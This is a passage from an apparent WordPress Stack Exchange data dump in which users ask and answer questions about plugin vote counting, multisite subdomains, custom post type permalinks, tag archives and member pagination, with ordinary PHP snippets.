$usersinks_raw = $wpdb-&amp;gt;get_var(&quot;SELECT sinks FROM &quot;.$wpdb-&amp;gt;prefix.&quot;votes_users WHERE user='&quot;.$u_ID.&quot;'&quot;);&#xA;*/&#xA;&#xA;    //Put it in array form&#xA;    $votes = explode(&quot;,&quot;, $votes_raw);&#xA;    $sinks = explode(&quot;,&quot;, $sinks_raw);&#xA;    $guestvotes = explode(&quot;,&quot;, $guestvotes_raw);&#xA;    $guestsinks = explode(&quot;,&quot;, $guestsinks_raw);&#xA;/* Deprecated&#xA;    $uservotes = explode(&quot;,&quot;, $uservotes_raw);&#xA;    $usersinks = explode(&quot;,&quot;, $usersinks_raw);&#xA;*/&#xA;    $uservotes = 0;&#xA;    $usersinks = 0;&#xA;&#xA;    $initial = 0; //Initial no. of votes [will be placed at -1 when all posts receive votes]&#xA;&#xA;&#xA;&#xA;    //The mathematics&#xA;    if ($percent == true) {&#xA;        // make $votecount into a percent&#xA;        $totalcount = count($votes) + count($sinks) + count($guestvotes) + count($guestsinks) + count($uservotes) + count($usersinks) + get_option('voteiu_initialoffset') - 6;&#xA;        // the -6 is because count('') returns 1, so if there is no votes at all, 1 is returned.  -6 offsets that&#xA;        $forcount = count($votes) + count($guestvotes) + count($uservotes) + get_option('voteiu_initialoffset') - 3;&#xA;        $againstcount = count($sinks) + count($guestsinks) + count($usersinks) - 3;&#xA;        if ($totalcount &amp;gt; 0) {&#xA;            $votecount = number_format(100*($forcount / $totalcount), 0) . &quot;%&quot;;&#xA;        } else {&#xA;            return false;&#xA;        }&#xA;        return $votecount;&#xA;        // uncomment this line below if you want to test&#xA;        //return count($votes) . &quot; &quot; . count($sinks) . &quot; &quot; . count($guestvotes) . &quot; &quot; . count($guestsinks) . &quot; &quot; . count($uservotes) . &quot; &quot; . count($usersinks) . &quot; &quot; . get_option('voteiu_initialoffset') . &quot; &quot; . $p_ID;&#xA;    } else {&#xA;        // wihtout percent mode, $votecount is number of total positive votes (votes minus sinks)&#xA;        $votecount = count($votes) - count($sinks) + count($guestvotes) - count($guestsinks) + count($uservotes) - count($usersinks) + $initial;&#xA;        return $votecount + get_option('voteiu_initialoffset');&#xA;    }&#xA;}&#xA;&#xA;function GetPostVotes($post_ID) {&#xA;    global $wpdb;&#xA;&#xA;    //prevents SQL injection&#xA;    $p_ID = $wpdb-&amp;gt;escape($post_ID);&#xA;&#xA;    //Create entries if not existant&#xA;    SetPost($p_ID);&#xA;&#xA;    //Gets the votes&#xA;    $votes_raw = $wpdb-&amp;gt;get_var(&quot;SELECT votes FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;&#xA;    //Put it in array form&#xA;    $votes = explode(&quot;,&quot;, $votes_raw);&#xA;    return $votes + get_option('voteiu_initialoffset');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-10T15:53:14.723" LastActivityDate="2011-07-28T17:32:34.040" Title="How to fix/improve this 'bad coded' function that sort posts by votes (for the Vote it Up plugin)?" Tags="&lt;plugins&gt;&lt;coding&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="11660" PostTypeId="5" CreationDate="2011-03-10T11:20:39.313" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-03-10T11:20:39.313" LastActivityDate="2011-03-10T11:20:39.313" />
  <row Id="11661" PostTypeId="4" CreationDate="2011-03-10T11:20:39.313" Score="0" ViewCount="" Body="Questions related to Wordpress Multisite installation/configuration" OwnerUserId="-1" LastEditorUserId="1070" LastEditorDisplayName="" LastEditDate="2011-03-10T11:34:30.363" LastActivityDate="2011-03-10T11:34:30.363" />
  <row Id="11662" PostTypeId="1" AcceptedAnswerId="11861" CreationDate="2011-03-10T11:32:12.377" Score="0" ViewCount="1493" Body="&lt;p&gt;is there a way to fetch the URLs of ALL images in the media gallery? I think this would be an easy way for a website to have a Pictures page that just pulls all of the images from the media gallery, granted it would only be necessary in certain scenarios. I don't need instructions on how to create a Pictures page, just how to pull all of the image URLs. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-12T22:16:39.270" Title="Get All Images in Media Gallery?" Tags="&lt;media-library&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="11663" PostTypeId="1" CreationDate="2011-03-10T11:45:54.377" Score="0" ViewCount="107" Body="&lt;p&gt;I have a custom post-type &quot;model&quot;, and I want to be able to export certain values (eg Name, Height, Shoe Size, etc) and a set number of images from the gallery, from each Model to a PDF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, what I want to be able to do is:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From the Admin backend, click an &quot;options tab&quot; or some such &lt;/li&gt;&#xA;&lt;li&gt;select a number of Models, &lt;/li&gt;&#xA;&lt;li&gt;enter an email (or multiple, comma separated emails)&lt;/li&gt;&#xA;&lt;li&gt;Click a &quot;send&quot; button&lt;/li&gt;&#xA;&lt;li&gt;and have the PDFs generated and emailed off without further intervention.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this at all possible in WordPress? Or is this too complex? Surely you can do anything with PHP and WordPress ;)&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-03-10T11:45:54.377" Title="Is it possible to create an &quot;export to PDF&quot; option?" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;pdf&gt;" CommentCount="4" />
  <row Id="11664" PostTypeId="1" AcceptedAnswerId="11684" CreationDate="2011-03-10T11:46:23.410" Score="0" ViewCount="63" Body="&lt;p&gt;It's an inconvenience to have to customize your theme just to use BuddyPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'd be much nicer if it simply used the wordpress page system for example, to inject content into standard WP pages. This way no theme editing is necessary, just activate BP and go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea would be that BuddyPress would just work in TwentyTen with off the shelf wordpress install + BuddyPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution?&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-06-27T02:25:07.403" LastActivityDate="2011-06-27T02:25:07.403" Title="Is there a plugin or something that allows you to use BuddyPress without having to create a BuddyPress-ready theme?" Tags="&lt;buddypress&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11665" PostTypeId="1" AcceptedAnswerId="11671" CreationDate="2011-03-10T12:20:23.130" Score="0" ViewCount="120" Body="&lt;p&gt;Hay, how would i find out if a page is a grand child?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2011-03-10T13:23:23.860" Title="find out if a page is a grandchild" Tags="&lt;page&gt;" AnswerCount="1" />
  <row Id="11666" PostTypeId="1" CreationDate="2011-03-10T12:23:54.110" Score="0" ViewCount="277" Body="&lt;p&gt;So, here's the deal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got one WP Multisite installed with 1 subsite. Im running the whole thing in subdomain &quot;mode&quot;. I did the whole DNS-pointer (A *.domain.se) to the correct IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem, even though i created a subsite in wp-admin (lets call it foobar), &lt;em&gt;when i type in foobar.domain.se i get redirected to the mainsite&lt;/em&gt; (domain.se). foobar.domain.se/wp-admin/ on the other hand casts a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it host related or something wrong in my config? More info, host got a shared IP - might be the problem (even though I got the impression it should work anyways)? I've searched like crazy on the web, in my htaccess and for hostsettings - and it should be the correct ones.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**.htaccess**&#xA;#BEGIN WordPress  &#xA;RewriteEngine On  &#xA;RewriteBase /  &#xA;RewriteRule ^index\.php$ - [L]  &#xA;&#xA;#uploaded files&#xA;RewriteRule ^files/(.+) wp-includes/ms-files.php?file=$1 [L]  &#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]  &#xA;RewriteCond %{REQUEST_FILENAME} -d  &#xA;RewriteRule ^ - [L]  &#xA;RewriteRule . index.php [L]  &#xA;# END WordPress  &#xA;&#xA;**wp-config.php**&#xA;    define('WP_ALLOW_MULTISITE', true);  &#xA;    define( 'MULTISITE', true );  &#xA;    define( 'SUBDOMAIN_INSTALL', true );  &#xA;    $base = '/';  &#xA;    define( 'DOMAIN_CURRENT_SITE', 'xn--vrnamo-bua.nu' );  &#xA;    define( 'PATH_CURRENT_SITE', '/' );  &#xA;    define( 'SITE_ID_CURRENT_SITE', 1 );  &#xA;    define( 'BLOG_ID_CURRENT_SITE', 1 );  &#xA;    define('SUNRISE', 'on');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Thanks.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-06-08T16:03:06.273" LastActivityDate="2011-08-08T19:21:02.000" Title="Multisite subdomain-site redirects to primary site" Tags="&lt;multisite&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="11667" PostTypeId="1" AcceptedAnswerId="11669" CreationDate="2011-03-10T13:01:09.533" Score="0" ViewCount="269" Body="&lt;p&gt;On the site I am developing I have a few custom post types set up (Press Releases, Articles, Podcasts). I also have the Tag Cloud widget enabled in my sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tagged a post with 'Testtest', and I've also tagged a Press Release with 'Testtest'. The problem I have is when I click the 'Testtest' tag on my tag cloud, it only shows the 'Post' that I tagged, and not the Press Release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this would be, or a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-05-09T09:14:50.210" Title="Wordpress 3.1 - Tag page not showing posts from custom post type" Tags="&lt;custom-post-types&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="11668" PostTypeId="2" ParentId="11666" CreationDate="2011-03-10T13:08:35.813" Score="0" ViewCount="" Body="&lt;p&gt;If you;re wildcard subdomain is redirecting to the main site, then the wildcard setup on the host is incorrect. Or they do not support it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up the wildcard in the DNS records is not the only step. Some shared hosts do not support it or require a dedicated IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you're trying this on an add-on domain and not the main domain of the web account, it also will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's not the config file or the htacess at all. You really need to ask your webhost.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-03-10T13:08:35.813" />
  <row Id="11669" PostTypeId="2" ParentId="11667" CreationDate="2011-03-10T13:12:27.520" Score="0" ViewCount="" Body="&lt;p&gt;you can add them using  pre_get_posts filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myTagFilter($query) {&#xA;    $post_type = $_GET['type'];&#xA;    if (is_tag()){&#xA;        if (!$post_type) {&#xA;            $post_type = 'any';&#xA;        }&#xA;        $query-&amp;gt;set('post_type', $post_type);&#xA;    }&#xA;    return $query;&#xA;};&#xA;add_filter('pre_get_posts','myTagFilter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-10T13:12:27.520" CommentCount="6" />
  <row Id="11670" PostTypeId="2" ParentId="960" CreationDate="2011-03-10T13:21:48.197" Score="0" ViewCount="" Body="&lt;p&gt;By the way, I've seen Base64 show up where it never belonged. The result of a hack. I use a number of themes and have more on my home drive than I'll ever use, and none have it as part of their code. &#xA;I suggest you go back to the theme itself before you loaded it, or if you instated through the admin page and not through FTP, find it on the developer's site and download. See if it's there (the base64). If not, you've been hacked. &lt;/p&gt;&#xA;" OwnerUserId="859" LastActivityDate="2011-03-10T13:21:48.197" />
  <row Id="11671" PostTypeId="2" ParentId="11665" CreationDate="2011-03-10T13:23:23.860" Score="1" ViewCount="" Body="&lt;p&gt;use get_page twice like this handy little function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_grandpapa($page_id){&#xA;    $current_page = get_page( $page_id );&#xA;    if ($current_page-&amp;gt;post_parent &amp;gt; 0){&#xA;        //has at least a parent&#xA;        $parent_page = get_page($current_page-&amp;gt;post_parent);&#xA;        if ($parent_page-&amp;gt;post_parent &amp;gt; 0){&#xA;            return $parent_page-&amp;gt;post_parent;&#xA;        }else{&#xA;            return false;&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function returns the grandparent page ID or false if there is no grandparent.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-10T13:23:23.860" CommentCount="1" />
  <row Id="11672" PostTypeId="1" CreationDate="2010-09-24T10:01:14.440" Score="0" ViewCount="84" Body="&lt;p&gt;I have activate the widget in my WordPress site in admin panel, but on the front page I don't want to display it. Is this possible? &lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:11:08.597" LastActivityDate="2011-05-26T20:54:18.570" Title="How to activate WordPress widgets but not display?" Tags="&lt;widgets&gt;" AnswerCount="2" />
  <row Id="11673" PostTypeId="2" ParentId="11672" CreationDate="2011-03-10T04:29:38.683" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you can enable or disable widgets from the Appearance menu of the Wordpress admin panel. Goto Appearance-&gt;Widgets then you can drag the widget from the &quot;Sidebar Widgets&quot; area to either the &quot;Available Widgets&quot; or &quot;Inactive Widgets&quot; boxes. If you use the &quot;Inactive Widgets&quot; option, Wordpress will save your widgets settings for later use. &lt;/p&gt;&#xA;" LastActivityDate="2011-03-10T04:29:38.683" />
  <row Id="11674" PostTypeId="2" ParentId="11642" CreationDate="2011-03-10T13:34:22.843" Score="-1" ViewCount="" Body="&lt;p&gt;We will have no choice. They already said that if you have one of the plugins that Jetpack replaces, you will have to &quot;upgrade&quot; to Jetpack in the near future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only use WP.com stats for now. I am no interested on the rest of Jetpack, for now at least. &lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2011-03-10T13:34:22.843" CommentCount="1" />
  <row Id="11676" PostTypeId="1" AcceptedAnswerId="11682" CreationDate="2011-03-10T14:34:47.630" Score="0" ViewCount="219" Body="&lt;p&gt;I know there is alot of discussion about the CPT and permlinks together with the 404.&#xA;I did not found a solution though I am close.&#xA;It would be great if someone could assist me to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok what I did is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function post_type_services() &#xA;{    &#xA;    register_post_type( 'services',&#xA;                array( &#xA;                'label' =&amp;gt; __('Services'), &#xA;                'singular_name' =&amp;gt; __( 'Service' ),&#xA;                'capability_type' =&amp;gt; 'post',&#xA;                'rewrite' =&amp;gt; array('slug' =&amp;gt; 'service','with_front' =&amp;gt; FALSE),&#xA;                'public'  =&amp;gt; true, &#xA;                'show_ui' =&amp;gt; true ) );     &#xA;&#xA;    flush_rewrite_rules( false );&#xA;    }&#xA;add_action('init', 'post_type_services');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added a CPT for services. I added a slug and I also added &lt;code&gt;flush_rewrite_rules(false)&lt;/code&gt; as suggested in many blog posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned on Permlinks with the settings &lt;code&gt;/%year%/%monthnum%/%postname%&lt;/code&gt; &#xA;I added a file &lt;code&gt;single-services.php&lt;/code&gt; which contains following content&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php &#xA;    get_header(); &#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;content_resize&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;mainbar&quot;&amp;gt;&#xA;    &amp;lt;?php query_posts('post_type=services'); ?&amp;gt;&#xA;    &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;article&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '' ) ); ?&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '', '' ); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;gadget&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;Auswahl&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php wp_nav_menu( array( 'sort_column' =&amp;gt; 'menu_order', 'menu_class' =&amp;gt; 'sb_menu', 'theme_location' =&amp;gt; 'leftmain' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php get_sidebar(); ?&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;fbg&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;fbg_resize&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;footer&quot;&amp;gt;&#xA;                &amp;lt;?php get_footer(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good. What I want is. if I navigate to &lt;a href=&quot;http://www.mydomain.com/service&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/service&lt;/a&gt; I would like to see my list of services and when I click on a single service I want to display the single service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do get right now is when I navigate to &lt;a href=&quot;http://www.mydomain.com/service&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/service&lt;/a&gt;. I get a 404 but when I visit &lt;a href=&quot;http://www.mydomain.com/service/my-first-service&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/service/my-first-service&lt;/a&gt; I see the list of services...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong? How can I get a list of services when I visit &lt;a href=&quot;http://www.mydomain.com/service&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/service&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I use the starkers base template to generate my own...&lt;/p&gt;&#xA;" OwnerUserId="3849" LastActivityDate="2011-03-10T15:51:57.150" Title="WP 3.1 custom post type permlinks" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;3.1&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11678" PostTypeId="2" ParentId="11653" CreationDate="2011-03-10T15:32:03.297" Score="1" ViewCount="" Body="&lt;p&gt;welcome to WordPress Stack Exchange!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I don't like most of the gallery plugins out there, they're either too bloated or don't utilize the attachment/gallery functionality. I would use &lt;a href=&quot;http://sorgalla.com/projects/jcarousel/&quot; rel=&quot;nofollow&quot;&gt;Jcarousel&lt;/a&gt; and &lt;a href=&quot;http://jquery.com/demo/thickbox/&quot; rel=&quot;nofollow&quot;&gt;jquery thickbox&lt;/a&gt; together - this you'll have to have an understanding of implementing jquery and using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;enqueue_script&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that there are two ways to do this. Have one page called portfolio or whatever you like and attach all images there. This is best if there isn't a lot of individual content for each image. Then in your template call all the attachments using an attachment query. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;        $args = array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'numberposts' =&amp;gt; -1,&#xA;        'post_status' =&amp;gt; null,&#xA;        'title' =&amp;gt; $attachment-&amp;gt;post_title,&#xA;        'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;        'description' =&amp;gt; $attachment-&amp;gt;post_content,&#xA;        'orderby' =&amp;gt; 'menu_order',&#xA;        'order' =&amp;gt; 'ASC'&#xA;    ); &#xA;    $attachments = get_posts($args);&#xA;    if ($attachments) {&#xA;        foreach ($attachments as $attachment) {&#xA;        echo wp_get_attachment_image($attachment-&amp;gt;ID, $size = 'full', $attr = '', false);                   &#xA;        }                                   &#xA;    } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can call &lt;code&gt;wp_get_attachement_image&lt;/code&gt; and it gets the whole src of the image or you can use &lt;code&gt;wp_get_attachment_url&lt;/code&gt; to just get the image url and then add the rel='thickbox' to your image href.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way of doing this is creating a custom post type. Then each individual post would have an attached image, description, etc and you could write a query to call all the posts into the jcarousel and then use &lt;code&gt;the_post_thumbnail('your-custom-size)&lt;/code&gt; to call each of the images posts in thumbnail size (thumbnail) and use the thickbox (full size) to make them larger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I haven't confused you, as you didn't state your level of knowledge of WordPress/coding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more on &lt;code&gt;the_post_thumbnail&lt;/code&gt; you can go &lt;a href=&quot;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&#xA;And for more on &lt;code&gt;wp_get_attachment_url&lt;/code&gt; you can read up &lt;a href=&quot;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-03-10T15:32:03.297" />
  <row Id="11680" PostTypeId="2" ParentId="11642" CreationDate="2011-03-10T15:39:07.473" Score="0" ViewCount="" Body="&lt;p&gt;In what sense of &quot;overkill&quot; are you questioning? The &lt;a href=&quot;http://jetpack.me/faq/&quot; rel=&quot;nofollow&quot;&gt;Jetpack FAQ&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some of these features use the powerful WordPress.com cloud, others are popular features provided for the convenience of not having to install and manage several separate plugin installations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With that said, you are stil free to choose whatever plugins you like for your Wordpress installation. You are not required to utilize Jetpack unless you want to take advantage of the plugins that were developed for Wordpress.com. Using it depends on what your needs really are and what value it brings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automattic is slowly moving those plugins to Jetpack, and any plugins by Automattic you have installed now will prompt you to upgrade to the Jetpack version. You could probably also avoid moving to the Jetpack if you don't ever upgrade those plugins.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditorDisplayName="" LastEditDate="2011-03-10T15:48:00.850" LastActivityDate="2011-03-10T15:48:00.850" CommentCount="3" />
  <row Id="11681" PostTypeId="1" CreationDate="2011-03-10T15:48:06.670" Score="0" ViewCount="147" Body="&lt;p&gt;This is a listing of members with pagination&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$total = &quot;SELECT ID, user_nicename from $wpdb-&amp;gt;users ORDER BY user_nicename DESC&quot;;&#xA;&#xA;$totalposts = $wpdb-&amp;gt;get_results($total, OBJECT);&#xA;&#xA;$ppp = intval(get_query_var('posts_per_page'));&#xA;&#xA;$wp_query-&amp;gt;found_posts = count($totalposts);&#xA;&#xA;$wp_query-&amp;gt;max_num_pages = ceil($wp_query-&amp;gt;found_posts / $ppp);&#xA;&#xA;$on_page = intval(get_query_var('paged'));&#xA;&#xA;if($on_page == 0){ $on_page = 1; }&#xA;&#xA;$offset = ($on_page-1) * $ppp;&#xA;&#xA;$wp_query-&amp;gt;request = &quot;SELECT ID, user_nicename from $wpdb-&amp;gt;users ORDER BY user_nicename DESC LIMIT $ppp OFFSET $offset&quot;;&#xA;&#xA;$pageposts = $wpdb-&amp;gt;get_results($wp_query-&amp;gt;request, OBJECT);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ($pageposts):&#xA;shuffle($pageposts);&#xA;array_rand($pageposts); ?&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($pageposts as $author):&#xA;// Get user data&#xA;$curauth = get_userdata($author-&amp;gt;ID);&#xA;// Get link to author page&#xA;$user_link = get_author_posts_url($curauth-&amp;gt;ID);&#xA;// Set default avatar (values = default, wavatar, identicon, monsterid)&#xA;$avatar = 'wavatar';&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php setup_postdata($post); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I can include avatar, I think I can show post count and comment count too. &#xA;Please help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note from editor(t31os)&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;Please stop copying and pasting your question and code from whatever word processor or editor you're using. You're pasting in paragraphs and uncorrectly formatted code(i'm assuming it's because you write out your questions in an editor then paste it here). In any case it's not working well, i've had to edit a few of your questions for this reason, and also found the way you're posting code is converting the character entities(which makes it hard for anyone to edit).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please review - &lt;a href=&quot;http://wordpress.stackexchange.com/editing-help&quot;&gt;WordPress Stack Exchange - Editing Help&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-16T14:55:48.320" LastActivityDate="2011-08-14T07:23:42.737" Title="How include comment and post count of user in this custom query" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="11682" PostTypeId="2" ParentId="11676" CreationDate="2011-03-10T15:51:57.150" Score="1" ViewCount="" Body="&lt;p&gt;You need to add the following to your &lt;code&gt;register_post_type()&lt;/code&gt; array:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'has_archive' =&amp;gt; 'service'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-10T15:51:57.150" CommentCount="2" />
  <row Id="11683" PostTypeId="1" AcceptedAnswerId="11685" CreationDate="2011-03-10T15:54:44.847" Score="0" ViewCount="107" Body="&lt;p&gt;Hi I run a site gaming review site &lt;a href=&quot;http://www.co-opreviews.com&quot; rel=&quot;nofollow&quot;&gt;www.co-opreviews.com&lt;/a&gt;. I'm trying to display info about the games in a sidebar on the right hand side of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You can view a mockup of the sidebar here: &lt;a href=&quot;http://i.stack.imgur.com/u3s5b.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/u3s5b.png&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently doing this through multiple sidebars (which my theme allows) and using a plaintext widget displaying the info through some rough HTML. However for 50+ games I'd require 50+ different sidebars and I'd have to replace the date, rating etc. all manually--  a cubersome and also fairly crude solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe there is a way to make inserting the information easier with custom post types but all my current reviews are simply normal posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help with my problem would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3854" LastActivityDate="2011-03-10T20:58:33.697" Title="Displaying info in a sidebar" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="11684" PostTypeId="2" ParentId="11664" CreationDate="2011-03-10T16:20:13.747" Score="1" ViewCount="" Body="&lt;p&gt;There is actually a plugin for that (bptemplate pack). It works pretty well! &lt;a href=&quot;http://wordpress.org/extend/plugins/bp-template-pack/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bp-template-pack/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3856" LastActivityDate="2011-03-10T16:20:13.747" CommentCount="1" />
